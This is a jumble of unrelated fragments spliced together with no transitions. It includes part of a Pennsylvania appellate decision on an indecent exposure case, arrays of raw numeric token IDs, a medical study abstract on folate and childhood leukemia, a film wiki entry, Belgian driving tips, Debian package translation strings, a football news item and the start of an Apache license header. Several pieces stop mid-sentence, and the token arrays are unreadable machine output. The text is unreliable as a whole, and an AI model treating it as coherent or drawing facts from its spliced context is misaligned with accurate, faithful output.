NON-PRECEDENTIAL DECISION - SEE SUPERIOR COURT I.O.P. 65.37 COMMONWEALTH OF PENNSYLVANIA IN THE SUPERIOR COURT OF PENNSYLVANIA Appellee v. MARC E. ROTHSTEIN Appellant No. 330 EDA 2014 Appeal from the Judgment of Sentence December 6, 2013 In the Court of Common Pleas of Montgomery County Criminal Division at No(s): CP-46-CR-0008517-2012 BEFORE: GANTMAN, P.J., WECHT, J., and JENKINS, J. MEMORANDUM BY JENKINS, J.: FILED NOVEMBER 25, 2014 Appellant Marc Rothstein (“Appellant”) appeals the judgment of sentence entered on December 6, 2013, by the Montgomery County Court of Common Pleas. After careful consideration, we affirm. The trial court summarized the facts and procedural history of this matter as follows: On May 22, 2012, at approximately 6:30 p.m., Eileen Potts arrived at her home located in a townhouse development at 103 Stratford Court, Lansdale, Montgomery County, PA, after having had dinner with her sister, Sharon Glick. Appellant was and remains a neighbor of both Ms. Potts and Ms. Glick, who live together with Ms. Potts’ husband. Appellant lives two doors down from the Potts-Glick home. On that evening, Ms. Potts drove up to her home and she saw Appellant talking with her sister in a neighbor’s yard. As Ms. Potts pulled into her driveway she had an unobstructed view of Appellant. Her vehicle was facing right towards him. She observed Appellant had a very big hole in the front of his khaki pants. A rip, a very clean cut that looked like it was done with J-A28038-14 scissors. Appellant had no underwear on. Ms. Potts was very horrified, scared and really freaked out when she observed Appellant’s erect penis and scrotum exposed by the gaping hole in his khaki pants. At that point, Ms. Potts wanted to get her sister out of the situation. She got out of her car, and as she held up her cell phone, she told her sister that someone was on the phone and wanted to talk to her. They went quickly into their home. At trial, Ms. Glick, who arrived home a few minutes before her sister, testified that she parked her car in the same parking spot as usual. As she got out of her car, Appellant was coming out of his home and engaged her in small talk

[ 14, 13006, 49513, 8724, 10631, 366, 14, 12856, 6711, 24929, 9758, 30837, 313, 46, 3125, 481, 25585, 430, 1877, 369, 2931, 347, 6742, 1078, 4247, 8210, 285, 1501, 4371, 1877, 347, 6742, 275, 390, 846, 4247, 8210, 15, 844, 908, 247, 767, 14, 10539, 2746, 281, 7472, 3320, 14, 20034, 6355, 15, 3973, 13, 247, 1083, 14, 7483, 2746, 369, 908, 13, 347, 436, 2216, 3400, 3687, 1612, 275, 253, 6803, 273, 3320, 14, 20034, 6355, 2429, 281, 643, 7274, 15, 6347, 13, 359, 5783, 512, 10126, 1534, 6355, 970, 247, 2412, 14, 8172, 2746, 2190, 1083, 14, 5598, 1195, 6594, 15, 7214, 581, 273, 2145, 6355, 6760, 369, 5783, 275, 3213, 374, 15, 13658, 13, 14431, 342, 253, 5884, 17153, 273, 353, 3125, 14208, 1093, 27706, 2945, 285, 665, 8549, 1309, 253, 638, 4371, 1877, 2180, 497, 387, 247, 3687, 2495, 273, 1907, 247, 1429, 342, 13556, 313, 1372, 426, 337, 15, 3439, 13, 5325, 6, 7309, 27, 470, 15, 3507, 14, 19, 15, 2055, 582, 2429, 281, 1110, 14431, 665, 8549, 1309, 253, 1501, 4371, 1877, 2180, 313, 1372, 426, 470, 15, 3593, 13, 5325, 6, 7309, 27, 470, 15, 1423, 14, 19, 15, 1525, 13, 367, 323, 5016, 426, 964, 2941, 481, 496, 581, 273, 253, 1643, 2175, 281, 7472, 14834, 6305, 366, 10761, 16381, 14, 71, 3422, 3527, 6355, 13, 359, 1119, 3710, 1941, 326, 253, 14834, 353, 3125, 14208, 1093, 27706, 2945, 5420, 281, 8008, 342, 2169, 269, 3422, 3527, 2308, 281, 4833, 11948, 13556, 2495, 15, 3633, 686, 11223, 10231, 187, 187, 3633, 686, 11223, 10231, 310, 247, 33554, 2448, 2159, 17325, 3085, 28193, 10908, 3905, 37281, 15, 187, 187, 19447, 187, 11643, 34061, 347, 2207, 18049, 20614, 187, 26851, 23364, 29515, 347, 380, 3226, 187, 10908, 3905, 37281, 347, 7069, 16451, 13, 253, 533, 2146, 187, 7903, 38310, 347, 29222, 48261, 13, 247, 11115, 187, 21438, 27288, 1952, 347, 388, 1250, 28338, 187, 10852, 5979, 255, 17062, 347, 12138, 6854, 187, 40879, 9002, 347, 18682, 31274, 10124, 8237, 13, 247, 5343, 1607, 3796, 1080, 313, 284, 8024, 10633, 9002, 10, 187, 187, 40582, 7211, 187, 48, 16735, 29944, 369, 8927, 5248, 347, 7069, 16451, 13, 253, 533, 2146, 13, 275, 436, 2159, 3085, 13, 533, 574, 281, 320, 7932, 1078, 32539, 407, 10908, 3905, 37281, 13, 665, 574, 417, 14001, 275, 6590, 323, 670, 247, 807, 347, 344, 574, 644, 2444, 347, 247, 8406, 285, 6423, 13, 285, 342, 5207, 344, 651, 3517, 2285, 598, 342, 387, 253, 14449, 8741, 607, 28359, 15, 29944, 574, 644, 11062, 275, 247, 12398, 7343, 387, 1728, 835, 344, 15676, 521, 4430, 846, 247, 47830, 3199, 273, 9171, 5361, 42341, 42893, 4830, 352, 13, 285, 369, 1335, 27930, 672, 32539, 323, 5057, 686, 358, 10231, 3407, 15, 831, 7343, 6726, 29944, 281, 320, 5176, 432, 253, 5248, 273, 253, 353, 1492, 13531, 395, 3085, 416, 37522, 90, 12447, 347, 973, 15, 187, 187, 510, 11203, 3289, 7119, 187, 1552, 369, 253, 3085, 1146, 2011, 387, 253, 31687, 38713, 1321, 21632, 19670, 8726, 275, 24604, 13, 6144, 13, 835, 10523, 952, 4962, 13, 512, 533, 581, 762, 2363, 1668, 15, 187, 187, 5035, 671, 187, 5552, 273, 2448, 6590, 273, 33554, 187, 10908, 3905, 37281, 3085, 3756, 187, 187, 4941, 187, 187, 7504, 4859, 187, 187, 1413, 27, 746, 1731, 6590, 187, 1413, 27, 39134, 84, 2159, 6590, 187, 1413, 27, 7878, 11561, 2159, 6590, 187, 1413, 27, 7878, 6590, 187, 1413, 27, 7878, 2806, 14, 395, 14, 11300, 6590, 187, 1413, 27, 39134, 84, 17325, 6590, 187, 1413, 27, 32159, 6828, 407, 10852, 3262, 10966, 187, 1413, 27, 32159, 6828, 407, 10908, 3905, 37281, 187, 1413, 27, 7878, 17325, 6590, 187, 1413, 27, 2115, 6368, 2159, 6590, 37, 19674, 275, 22785, 428, 41893, 285, 308, 21557, 323, 247, 3774, 4902, 44860, 187, 187, 2374, 247, 3332, 7408, 281, 22785, 309, 369, 10903, 407, 253, 3910, 875, 6276, 275, 22785, 285, 6276, 275, 253, 1986, 2077, 15, 309, 1119, 2559, 3885, 7787, 13, 8921, 7137, 7871, 285, 38393, 1981, 987, 273, 1039, 9534, 11678, 309, 3261, 15, 733, 457, 84, 247, 1175, 2181, 309, 369, 15150, 342, 271, 7407, 31351, 6254, 15, 187, 187, 4943, 403, 247, 1643, 12192, 285, 24866, 281, 1361, 368, 10347, 323, 6276, 275, 22785, 15, 309, 3524, 326, 841, 588, 1361, 368, 452, 247, 6032, 9549, 327, 634, 1735, 7408, 2, 187, 187, 6407, 1841, 806, 13, 4446, 327, 253, 987, 14, 4608, 1930, 273, 253, 3971, 285, 1509, 760, 327, 253, 1669, 15, 187, 187, 1992, 4446, 275, 22785, 368, 1364, 320, 387, 1878, 1283, 1107, 1711, 15, 9157, 368, 1364, 452, 247, 3588, 31351, 13, 8215, 390, 5213, 6254, 457, 84, 7981, 15, 187, 187, 8457, 22785, 556, 767, 3625, 11515, 428, 5112, 285, 401, 5616, 763, 428, 320, 2119, 368, 871, 1097, 253, 5112, 285, 13986, 4454, 273, 634, 12095, 281, 3657, 13775, 672, 368, 403, 6276, 6146, 281, 6420, 390, 12008, 14, 735, 66, 313, 1542, 4227, 13, 6276, 6420, 432, 378, 2371, 265, 275, 253, 401, 5616, 763, 14, 30777, 401, 39950, 2919, 368, 778, 320, 13590, 2584, 19869, 257, 13, 533, 20948, 275, 25093, 428, 253, 5112, 1416, 323, 253, 1355, 3874, 275, 253, 5112, 14, 30777, 8799, 9409, 2919, 273, 22785, 481, 733, 457, 84, 4409, 352, 281, 7471, 247, 3158, 3806, 1984, 594, 368, 476, 452, 247, 1618, 273, 13986, 285, 5112, 29971, 323, 1846, 3000, 285, 25491, 368, 457, 620, 897, 1223, 6276, 15, 187, 187, 6080, 2087, 3885, 2701, 9600, 27, 15999, 5010, 9269, 313, 3062, 327, 326, 1996, 10, 368, 476, 5467, 247, 7654, 3885, 2701, 273, 7346, 76, 545, 390, 10677, 31664, 327, 18521, 1576, 313, 12496, 14, 34669, 13939, 558, 5091, 76, 545, 390, 8026, 31664, 327, 3872, 13939, 313, 7265, 13939, 10, 285, 2456, 76, 545, 390, 4562, 31664, 275, 4270, 14, 484, 3672, 313, 24767, 15918, 481, 9773, 5109, 281, 22785, 403, 3264, 281, 2075, 667, 29701, 327, 14, 783, 14, 17166, 13, 594, 3698, 634, 3885, 2, 187, 187, 5498, 457, 85, 320, 7270, 1293, 634, 7319, 13779, 2, 496, 22785, 13, 7319, 39978, 403, 2424, 1097, 275, 2914, 7319, 285, 896, 15, 1310, 368, 403, 15153, 342, 2151, 762, 1249, 13, 597, 1364, 1790, 275, 253, 896, 7319, 15, 187, 187, 4041, 11555, 31351, 6276, 7248, 310, 773, 36505, 432, 253, 987, 668, 534, 4419, 326, 10865, 1364, 3523, 323, 7137, 14167, 432, 253, 987, 15, 313, 1552, 310, 4336, 7285, 432, 253, 2448, 2840, 273, 27012, 987, 273, 1039, 281, 7137, 327, 253, 1669, 2698, 7214, 275, 2173, 5989, 1057, 436, 773, 36505, 432, 253, 987, 668, 417, 4647, 27, 8862, 390, 13735, 16673, 7871, 390, 327, 5694, 1576, 285, 3790, 39462, 15, 187, 187, 14358, 47325, 285, 492, 1317, 452, 253, 987, 273, 1039, 275, 22785, 15, 25728, 3523, 323, 47325, 2, 187, 187, 6080, 7137, 7871, 368, 588, 13329, 342, 4294, 2486, 773, 14061, 323, 4828, 7137, 668, 534, 310, 247, 21169, 10268, 2806, 14150, 285, 271, 19123, 10268, 2502, 14150, 13, 7809, 534, 1113, 943, 4917, 281, 1529, 672, 247, 3971, 556, 2489, 581, 2014, 18209, 28, 253, 773, 2369, 19486, 1170, 668, 390, 642, 8136, 861, 13, 534, 310, 247, 2806, 1113, 285, 2502, 1113, 1930, 14, 1615, 14, 2189, 28, 773, 2369, 12102, 668, 534, 310, 247, 2502, 1386, 689, 247, 4797, 4114, 285, 253, 773, 13121, 668, 861, 342, 247, 2502, 9096, 285, 2806, 11593, 1386, 15, 187, 187, 10772, 4481, 897, 310, 760, 11460, 342, 3564, 14, 4924, 2718, 15, 187, 187, 688, 271, 8945, 13, 11901, 11633, 9825, 275, 253, 8215, 281, 3986, 8945, 3238, 15, 1992, 755, 5659, 534, 897, 253, 9615, 415, 37, 313, 1410, 37, 582, 7489, 33725, 23673, 900, 13, 367, 15748, 23751, 390, 714, 42130, 8990, 3515, 13, 368, 476, 3334, 436, 5522, 285, 8171, 253, 4569, 13747, 15, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 38659, 19, 187, 187, 32803, 2251, 15, 187, 187, 14376, 27, 187, 187, 10146, 4367, 285, 10097, 323, 253, 8741, 274, 23751, 13747, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 3620, 187, 187, 32803, 2358, 15, 187, 187, 14376, 27, 187, 187, 1552, 5522, 4428, 253, 2440, 20546, 323, 253, 5135, 287, 274, 6335, 15, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 3620, 187, 187, 32803, 2090, 15, 187, 187, 14376, 27, 187, 187, 16687, 273, 3167, 14, 17777, 28437, 323, 5135, 287, 274, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 24111, 14, 40601, 187, 187, 32803, 1967, 15, 187, 187, 14376, 27, 187, 187, 1552, 310, 247, 4849, 273, 3167, 2898, 3907, 28437, 323, 5135, 287, 274, 15, 19005, 2898, 3907, 28437, 403, 28437, 534, 476, 320, 10607, 275, 512, 3167, 4893, 313, 70, 15, 72, 15, 687, 472, 13, 40257, 16895, 28971, 285, 40257, 1993, 3550, 69, 481, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 24111, 14, 40601, 187, 187, 32803, 3677, 15, 187, 187, 14376, 27, 187, 187, 1552, 4849, 671, 3797, 28437, 9371, 323, 33146, 253, 15191, 5673, 273, 4893, 970, 5135, 287, 274, 434, 15191, 5673, 15, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 24111, 14, 40601, 187, 187, 32803, 3547, 15, 187, 187, 14376, 27, 187, 187, 14541, 318, 13747, 323, 253, 8741, 274, 23751, 3590, 4771, 285, 8548, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 19, 187, 187, 32803, 3655, 15, 187, 187, 14376, 27, 187, 187, 11594, 27436, 6335, 323, 1639, 13511, 459, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 6291, 14, 1689, 3136, 14, 498, 13511, 459, 187, 187, 32803, 3566, 15, 187, 187, 14376, 27, 187, 187, 21309, 11826, 3136, 310, 247, 1639, 13511, 459, 6335, 326, 3400, 247, 12112, 13, 21515, 494, 5122, 281, 9017, 3470, 846, 597, 452, 644, 2931, 15, 1556, 3492, 2397, 698, 281, 1265, 1078, 34482, 187, 187, 510, 329, 14, 43174, 310, 873, 281, 3359, 3492, 2397, 698, 1078, 253, 34482, 2962, 7866, 13, 4495, 2600, 784, 18048, 751, 5119, 2639, 2191, 434, 1133, 2910, 4736, 588, 642, 3356, 320, 9829, 15, 187, 187, 22893, 273, 253, 329, 14, 43174, 13916, 473, 8, 51, 454, 413, 556, 4950, 15794, 20369, 6976, 434, 4283, 10591, 6151, 285, 3492, 13372, 10591, 6151, 313, 26205, 84, 10, 5262, 253, 8849, 1078, 1390, 16472, 5216, 273, 9221, 2364, 70, 4302, 387, 40767, 434, 4146, 49017, 21246, 15, 187, 187, 1147, 2210, 846, 401, 5377, 434, 6423, 273, 10591, 6151, 6029, 10520, 29433, 281, 41397, 469, 3563, 1390, 1770, 323, 29561, 327, 30226, 84, 342, 38075, 13, 253, 5625, 15794, 7115, 5986, 313, 3801, 2925, 10, 285, 884, 643, 15299, 4343, 15, 187, 187, 37150, 310, 581, 273, 2800, 32132, 1475, 253, 1533, 7012, 281, 1408, 253, 7587, 273, 30226, 84, 1690, 6176, 434, 42442, 30137, 285, 3968, 434, 11432, 6884, 35970, 15, 187, 187, 3269, 34, 574, 2168, 7908, 2400, 253, 2442, 281, 9569, 3492, 2397, 698, 275, 673, 323, 253, 1265, 273, 253, 34482, 327, 4162, 3127, 15, 187, 187, 1989, 597, 403, 1024, 26400, 281, 513, 594, 247, 4564, 273, 3618, 38565, 13, 5277, 597, 1849, 6312, 512, 253, 3309, 5175, 2424, 762, 38075, 4803, 15, 187, 187, 3, 1147, 434, 12162, 285, 359, 1472, 3909, 323, 271, 4162, 4533, 483, 937, 473, 8, 51, 454, 413, 2183, 329, 2088, 15, 16, 17344, 11, 187, 475, 50275, 49124, 8821, 281, 253, 14325, 9107, 6807, 313, 1719 ]

-methyltetrahydrofolate-homocysteine methyltransferase (MTR). Prefortification was defined as delivery before January 1997 and postfortification as delivery in or after January 1997. We used a two-step approach to evaluate gene-environment interactions. First, a case-only approach was used, as this design provides greater power in the assessment of gene-environment interactions compared to other approaches. Second, we confirmed all statistically significant interactions using a log-linear approach among case-parent triads. Only one of 13 interactions evaluated was confirmed in step 2. Specifically, mothers with the minor allele of MTR rs1804742 and who delivered during the prefortification period were at a greater risk of having a child with ALL (OR = 1.54, 95% CI: 0.82-2.88), compared to those mothers who delivered during the postfortification period (OR = 0.81, 95% CI: 0.22-2.99, P for interaction =.03). In one of the few studies to evaluate maternal folate metabolic genotype-folic acid interactions, we found limited evidence that the maternal MTR rs1804742 appeared to interact with higher folic acid levels to influence childhood ALL risk.Get 'Em Young Get 'Em Young is a 1926 American short comedy film starring Stan Laurel. Cast Harry Myers as Orvid Joy Eugenia Gilbert as The girl Stan Laurel as Summers, the butler Max Davidson as Isaac Goldberg, a lawyer Charlotte Mineau as Hired bride Fred Malatesta as Executor Ernest Wood as Lawrence Lavendar Virgin, a female impersonator (as Ernie Wood) Production notes Oliver Hardy was originally cast as Summers, the butler, in this short film, but had to be replaced before filming by Stan Laurel, who had not acted in films for about a year as he had been working as a writer and director, and with whom he would soon team up with at the Hal Roach Studios. Hardy had been injured in a cooking accident at home where he burned his arm after a frying pan of scalding grease spilled onto it, and was still recovering when filming for Get 'em Young began. This accident forced Hardy to be removed from the cast of the Mabel Normand film Raggedy Rose as well. Theatre fire incident This was the film being shown at the 1927 Laurier Palace Theatre Fire in Montreal, Canada, where 78 people died, all but one under age 16. See also List of American films of 1926 Stan Laurel filmography References External links Category:1926 films Category:1920s short films Category:American silent short films Category:American films Category:American black-and-white films Category:1920s comedy films Category:Films directed by Fred Guiol Category:Films directed by Stan Laurel Category:American comedy films Category:Comedy short filmsDriving in Belgium - Tips and Tricks for a Smooth Ride On a recent trip to Belgium I was struck by the differences between driving in Belgium and driving in the United States. I found increased speed limits, strange traffic signs and baffling right of way situations everywhere I looked. It’s a good thing I was riding with an experienced Belgian driver. Here are a few tips and tricks to help you prepare for driving in Belgium. I hope that these will help you have a smooth ride on your next trip! First things first, drive on the right-hand side of the road and pass only on the left. To drive in Belgium you must be at least 18 years old. Additionally you must have a valid Belgian, EU or international driver’s license. Because Belgium has two primary languages - French and Flemish - be sure you know both the French and Dutch names of your destination to prevent confusion when you are driving north to south or vice-versa (for instance, driving south from Bruges in the Flemish-speaking Flanders region you may be heading toward Bergen, but arriving in Mons - the French name for the small town in the French-speaking Wallonia region of Belgium). It’s worth it to purchase a quick reference book so you can have a list of Dutch and French translations for common words and phrases you’ll use while driving. Some general speed limit guidelines: Unless otherwise posted (more on that later) you can assume a strict speed limit of 120kph or 74mph on Motorways (four-lane roads); 90kph or 56mph on national roads (main roads) and 50kph or 31mph in built-up areas (within towns). Visitors to Belgium are expected to pay any fines on-the-spot, so watch your speed! Don’t be caught without your seat belt! In Belgium, seat belts are required both in front seat and back. If you are traveling with children under 12, they must sit in the back seat. One unusual Belgian driving regulation is “priority from the right” which requires that drivers must stop for traffic joining from the right. (This is completely opposite from the American custom of yielding right of way to traffic on the left.) Only in specific circumstances does this “priority from the right” not apply: yellow or orange diamond signs or on motorways and roundabouts. Both pedestrians and trams have the right of way in Belgium. Always stop for pedestrians! Some traffic signs you will encounter with frequency include “wait for counter traffic” which is a downward facing black arrow and an upward facing red arrow, indicating which car should yield to another when a road has become one single lane; the “no overtaking” or no passing sign, which is a black car and red car side-by-side; “no parking” which is a red line over a blue background and the “stop” sign with a red circle and black horizontal line. Cell phone use is only permitted with hands-free systems. In an emergency, dial 112 anywhere in the EU to reach emergency services.To get programs which use the EsounD (ESD), OpenBSD sndio, PulseAudio or YIFF API running, you can install this package and replace the appropriate libraries. Description Current French: (no translation yet) Located in Package: libroar-compat2 43267. English: header files and documentation for the RoarAudio libraries Summary Current French: (no translation yet) Located in Package: libroar-dev 43268. English: This package contains the development headers for the libroar library. Description Current French: (no translation yet) Located in Package: libroar-dev 43269. English: Collection of host-independent plugins for libroar Summary Current French: (no translation yet) Located in Package: libroar-plugins-universal 43270. English: This is a collection of host application independent plugins for libroar. Host application independent plugins are plugins which can be loaded in all host applications (e.g. roard, roarpluginrunner and roarplaylistd). Description Current French: (no translation yet) Located in Package: libroar-plugins-universal 43271. English: This collection also includes plugins helpful for debugging the plugin interface of applications using libroar's plugin interface. Description Current French: (no translation yet) Located in Package: libroar-plugins-universal 43272. English: foundation libraries for the RoarAudio sound server and clients Summary Current French: (no translation yet) Located in Package: libroar2 43273. English: Function wrapper library for Clojure Summary Current French: (no translation yet) Located in Package: librobert-hooke-clojure 43274. English: Robert Hooke is a Clojure library that provides a flexible, composable mechanism to extend functions after they have been defined.AL video replays to start before finals The A-League is set to implement video replays before the finals series starts, meaning contentious incidents like David Carney's handball goal will no longer be missed. Head of the A-League Greg O'Rourke has revealed Football Federation Australia's leading referees and video assistant referees (VARs) spent the weekend before last conducting tests of Hawkeye technology at Brisbane's Suncorp Stadium. It came after FFA's director of referees Ben Wilson travelled to Zurich late last month for workshops on VARs with FIFA, the International Football Association Board (IFAB) and 10 other participating countries. Australia is one of six leagues around the world approved to run the trials of VARs including Germany's Bundesliga and America's Major League Soccer. FFA had already flagged the potential to introduce video replays in time for the start of the finals on April 21. But they are now aiming to do so a couple of weeks beforehand, providing they've completed all the necessary testing required under FIFA rules. "It's proceeding and we're online for an April rollout," O'Rourke told AAP./***************************************************************** * Licensed to the Apache Software Foundation (AS

[ 14489, 103, 28888, 212, 47568, 218, 14489, 110, 14489, 107, 14489, 119, 28888, 212, 14489, 101, 28888, 212, 187, 14489, 105, 28888, 217, 14489, 110, 14489, 125, 47568, 232, 28888, 223, 14489, 213, 14489, 242, 14489, 125, 47568, 119, 28888, 221, 14489, 213, 14489, 101, 14489, 125, 14489, 101, 28888, 224, 14489, 101, 14489, 124, 14489, 110, 28888, 217, 47568, 216, 14489, 101, 14489, 232, 28888, 224, 14489, 232, 28888, 217, 47568, 217, 14489, 118, 14489, 232, 28888, 224, 14489, 99, 14489, 125, 187, 14489, 217, 14489, 101, 28888, 224, 14489, 101, 14489, 110, 14489, 125, 14489, 213, 14489, 101, 47568, 103, 14489, 124, 14489, 115, 28888, 212, 47568, 232, 14489, 124, 14489, 110, 28888, 224, 14489, 108, 14489, 125, 14489, 232, 47568, 108, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 47568, 225, 14489, 112, 28888, 224, 14489, 112, 14489, 124, 47568, 225, 14489, 213, 14489, 101, 28888, 212, 187, 14489, 103, 14489, 124, 14489, 115, 28888, 212, 47568, 105, 28888, 224, 14489, 110, 14489, 116, 28888, 224, 14489, 103, 14489, 124, 14489, 110, 28888, 224, 14489, 119, 47568, 107, 14489, 113, 14489, 118, 14489, 107, 14489, 119, 28888, 212, 14489, 101, 28888, 218, 187, 14489, 108, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 47568, 110, 14489, 124, 14489, 99, 28888, 224, 14489, 110, 14489, 125, 47568, 216, 14489, 101, 28888, 212, 47568, 116, 28888, 224, 14489, 110, 14489, 108, 14489, 101, 14489, 124, 14489, 109, 14489, 232, 47568, 225, 14489, 213, 14489, 101, 28888, 212, 187, 14489, 232, 14489, 243, 14489, 125, 14489, 98, 47568, 108, 14489, 124, 14489, 96, 28888, 212, 14489, 115, 187, 14489, 237, 14489, 242, 28888, 212, 14489, 115, 14489, 242, 14489, 125, 14489, 232, 28888, 217, 10710, 187, 14489, 107, 28888, 217, 14489, 113, 14489, 234, 14489, 125, 14489, 103, 47568, 110, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 47568, 105, 14489, 96, 28888, 217, 14489, 109, 14489, 112, 28888, 212, 47568, 108, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 187, 14489, 225, 14489, 213, 14489, 101, 28888, 212, 47568, 118, 14489, 101, 28888, 224, 14489, 101, 14489, 125, 14489, 112, 28888, 224, 14489, 112, 14489, 101, 28888, 217, 47568, 115, 14489, 125, 14489, 237, 14489, 124, 14489, 110, 14489, 98, 28888, 217, 14489, 234, 28888, 217, 47568, 216, 14489, 115, 14489, 110, 14489, 103, 28888, 224, 14489, 103, 28888, 212, 47568, 99, 14489, 110, 14489, 112, 28888, 212, 187, 14489, 118, 14489, 124, 14489, 102, 28888, 224, 14489, 109, 14489, 115, 14489, 124, 14489, 101, 14489, 117, 28888, 224, 14489, 242, 28888, 212, 187, 14489, 217, 14489, 110, 28888, 212, 247, 64, 78, 64, 47568, 103, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 6589, 35, 2449, 47568, 103, 28888, 211, 14489, 115, 28888, 212, 47568, 103, 14489, 103, 28888, 224, 14489, 103, 14489, 103, 28888, 224, 14489, 103, 28888, 212, 47568, 107, 28888, 218, 14489, 232, 14489, 124, 14489, 101, 14489, 110, 28888, 217, 47568, 108, 28888, 221, 14489, 101, 14489, 112, 28888, 212, 187, 14489, 103, 14489, 213, 14489, 99, 14489, 110, 47568, 103, 14489, 103, 28888, 224, 14489, 103, 47568, 108, 14489, 103, 28888, 217, 14489, 234, 28888, 217, 47568, 110, 28888, 219, 14489, 242, 28888, 224, 47568, 100, 14489, 125, 14489, 213, 14489, 234, 28888, 224, 47568, 103, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 47568, 232, 14489, 110, 28888, 217, 187, 68, 8902, 447, 47568, 225, 14489, 213, 14489, 101, 28888, 212, 47568, 119, 28888, 222, 14489, 234, 28888, 212, 14489, 115, 47568, 118, 28888, 224, 14489, 108, 14489, 124, 14489, 110, 28888, 224, 14489, 242, 28888, 224, 47568, 115, 14489, 232, 28888, 211, 14489, 112, 47568, 118, 14489, 125, 14489, 232, 28888, 224, 14489, 232, 14489, 125, 14489, 99, 28888, 212, 187, 14489, 108, 28888, 222, 14489, 239, 14489, 125, 14489, 103, 47568, 103, 14489, 124, 14489, 103, 28888, 212, 47568, 218, 14489, 112, 28888, 224, 14489, 112, 14489, 101, 28888, 217, 47568, 216, 14489, 115, 14489, 110, 14489, 103, 28888, 224, 14489, 103, 28888, 212, 47568, 116, 14489, 125, 14489, 232, 28888, 224, 14489, 117, 14489, 125, 14489, 118, 14489, 112, 28888, 212, 47568, 119, 28888, 221, 14489, 213, 14489, 101, 14489, 125, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 187, 14489, 101, 28888, 218, 14489, 119, 14489, 101, 47568, 105, 28888, 212, 14489, 110, 14489, 124, 14489, 115, 28888, 217, 14489, 234, 14489, 113, 28888, 212, 47568, 101, 28888, 214, 14489, 97, 14489, 115, 14489, 124, 14489, 101, 187, 14489, 116, 14489, 125, 14489, 107, 14489, 125, 14489, 110, 14489, 101, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 47568, 103, 28888, 211, 14489, 115, 28888, 212, 47568, 118, 14489, 124, 14489, 102, 28888, 224, 14489, 109, 14489, 115, 28888, 222, 47568, 103, 14489, 124, 14489, 112, 28888, 224, 14489, 232, 28888, 212, 47568, 225, 14489, 232, 14489, 110, 28888, 217, 187, 187, 43017, 42314, 27, 209, 187, 10681, 118, 10681, 213, 10681, 118, 42916, 10681, 100, 10681, 112, 48058, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 115, 44973, 10681, 101, 22379, 218, 10681, 116, 22379, 211, 34749, 109, 22379, 221, 10681, 232, 42916, 10681, 232, 34749, 237, 22379, 218, 10681, 99, 44973, 10681, 112, 22379, 222, 187, 10681, 115, 42916, 10681, 109, 10681, 232, 42916, 10681, 99, 44973, 34749, 103, 22379, 218, 10681, 103, 48058, 34749, 219, 34749, 118, 10681, 213, 10681, 101, 10681, 110, 42916, 10681, 244, 10681, 213, 10681, 112, 22379, 222, 34749, 220, 10681, 101, 42916, 10681, 101, 22379, 218, 10681, 116, 44973, 10681, 213, 10681, 237, 44973, 34749, 232, 10681, 124, 10681, 101, 48058, 187, 10681, 218, 10681, 101, 44973, 34749, 105, 42916, 10681, 110, 10681, 124, 10681, 110, 10681, 213, 10681, 244, 10681, 213, 34749, 108, 10681, 124, 10681, 99, 42916, 10681, 110, 10681, 108, 22379, 218, 34749, 216, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 110, 48058, 187, 10681, 108, 10681, 110, 48058, 10681, 118, 10681, 242, 44973, 34749, 220, 10681, 101, 10681, 109, 10681, 213, 34749, 107, 22379, 217, 10681, 103, 42916, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 103, 22379, 218, 10681, 103, 48058, 34749, 232, 10681, 112, 44973, 10681, 118, 44973, 10681, 103, 187, 10681, 232, 10681, 124, 10681, 110, 42916, 10681, 109, 10681, 124, 10681, 112, 10681, 109, 10681, 213, 187, 10681, 103, 10681, 124, 10681, 112, 48058, 10681, 234, 48058, 247, 64, 78, 64, 34749, 234, 10681, 99, 34749, 232, 22379, 221, 10681, 103, 42916, 10681, 103, 44973, 34749, 103, 44973, 10681, 108, 44973, 10681, 117, 10681, 124, 10681, 112, 48058, 187, 10681, 225, 10681, 110, 44973, 10681, 232, 10681, 124, 34749, 232, 42916, 10681, 115, 10681, 124, 10681, 118, 44973, 10681, 108, 10681, 124, 10681, 96, 22379, 222, 34749, 216, 10681, 118, 42916, 10681, 118, 10681, 112, 48058, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 187, 10681, 108, 22379, 218, 10681, 108, 48058, 34749, 232, 22379, 222, 10681, 118, 10681, 213, 34749, 105, 42916, 10681, 110, 10681, 124, 10681, 110, 10681, 213, 10681, 244, 44973, 10681, 213, 10681, 237, 10681, 124, 10681, 110, 48058, 34749, 110, 22379, 217, 10681, 118, 42916, 10681, 242, 10681, 124, 10681, 110, 22379, 217, 10681, 213, 10681, 242, 42916, 187, 10681, 118, 42916, 10681, 100, 10681, 124, 10681, 103, 44973, 10681, 232, 34749, 